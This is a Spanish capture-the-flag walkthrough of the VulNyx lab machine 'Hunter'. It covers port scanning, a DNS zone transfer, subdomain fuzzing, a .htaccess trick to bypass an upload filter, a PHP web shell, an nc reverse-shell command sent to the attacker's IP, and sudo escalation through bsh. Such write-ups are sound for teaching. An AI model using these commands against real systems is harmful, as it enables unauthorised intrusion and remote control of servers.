VulNyx - Hunter
- Domain Zone Transfer (AXFR)
- Bypass File Upload Filter - (.htaccess)
- Abusing Bsh Binary - Sudo Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.113
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,53,80 192.168.1.113
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
| 2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA)
| 256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA)
|_ 256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519)
53/tcp open domain (unknown banner: not currently available)
| dns-nsid:
|_ bind.version: not currently available
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ currently available
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_hunterzone.nyx
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.94SVN%I=7%D=12/14%Time=657AE5A6%P=x86_64-pc-linux-gnu%r(
SF:DNSVersionBindReqTCP,52,"\0P\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07versi
SF:on\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x18\x17not\x20cu
SF:rrently\x20available\xc0\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP - TCP 80
Robots.txt
❯ curl http://192.168.1.113/robots.txt
User-agent: *
Disallow: hunterzone.nyx
Añado el dominio a mi archivo hosts.
❯ echo "192.168.1.113 hunterzone.nyx" >> /etc/hosts
Con dig obtengo información sobre el dominio hunterzone.nyx
.
❯ dig @192.168.1.113 hunterzone.nyx axfr
; <<>> DiG 9.19.17-1-Debian <<>> @192.168.1.113 hunterzone.nyx axfr
; (1 server found)
;; global options: +cmd
hunterzone.nyx. 604800 IN SOA ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
hunterzone.nyx. 604800 IN NS ns1.hunterzone.nyx.
?.hunterzone.nyx. 604800 IN TXT "devhunter.nyx"
admin.hunterzone.nyx. 604800 IN A 127.0.0.1
cloud.hunterzone.nyx. 604800 IN A 127.0.0.1
ftp.hunterzone.nyx. 604800 IN A 127.0.0.1
ns1.hunterzone.nyx. 604800 IN A 127.0.0.1
www.hunterzone.nyx. 604800 IN A 127.0.0.1
hunterzone.nyx. 604800 IN SOA ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.1.113#53(192.168.1.113) (TCP)
;; WHEN: Thu Dec 14 12:38:23 CET 2023
;; XFR size: 9 records (messages 1, bytes 294)
Añado el nuevo dominio devhunter.nyx
al archivo hosts.
❯ echo "192.168.1.113 devhunter.nyx" >> /etc/hosts
Realizo fuerza bruta de subdominios.
❯ wfuzz -t 200 -c --hw=933 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.devhunter.nyx" http://devhunter.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://devhunter.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000096: 200 26 L 51 W 525 Ch "files"
Añado el nuevo subdominio al archivo hosts.
❯ echo "192.168.1.113 files.devhunter.nyx" >> /etc/hosts
Visito el nuevo subdominio y encuentro una herramienta para subir archivos.
Si intento subir un archivo con extensión .php
me muestra el siguiente error.
Si subo un archivo con extensión .png
me permite la subida.
Realizo fuerza bruta de directorios para saber donde sube los archivos.
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://files.devhunter.nyx/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://files.devhunter.nyx/FUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000005518: 301 9 L 28 W 324 Ch "css"
000016220: 403 9 L 28 W 284 Ch "server-status"
000018782: 301 9 L 28 W 328 Ch "uploads"
Navego al directorio uploads y visualizo la imagen que he subido.
Vuelvo a BurpSuite e intercepto la petición.
Envío la petición al intruder.
En la pestaña Payloads añado las extensiones en Payload settings
y más abajo en Payload encoding
desmarco la casilla de URL-encode these characters
.
Al terminar el ataque veo que el archivo .htaccess
se ha subido correctamente.
Como puedo subir archivos .png
y .htaccess
primero subiré el archivo .htaccess
para que interprete archivo .png
como si fuera un archivo .php
, para ello intercepto la petición y realizo los siguientes cambios:
Más información sobre bypass mediante .htaccess
Una vez subo el archivo .htaccess
solo tengo que cambiar la extensión de mi cmd.php
por cmd.png
y subirlo.
Compruebo que el archivo cmd.png
funciona correctamente.
Me mando una shell.
❯ curl "http://files.devhunter.nyx/uploads/cmd.png?cmd=nc%20-c%20/bin/bash%20192.168.1.17%201234"
Obtengo una shell como usuario bug.
Una vez termino el tratamiento para la tty enumero permisos de sudo.
bug@hunter:/home/bug$ sudo -l
Matching Defaults entries for bug on hunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bug may run the following commands on hunter:
(root) NOPASSWD: /usr/bin/bsh
Busco información sobre beanshell commands.
Después de un buen rato consigo ejecutar comandos como root.
Me mando una shell.
Obtengo el root.
Y aquí termina la máquina Hunter.
Saludos!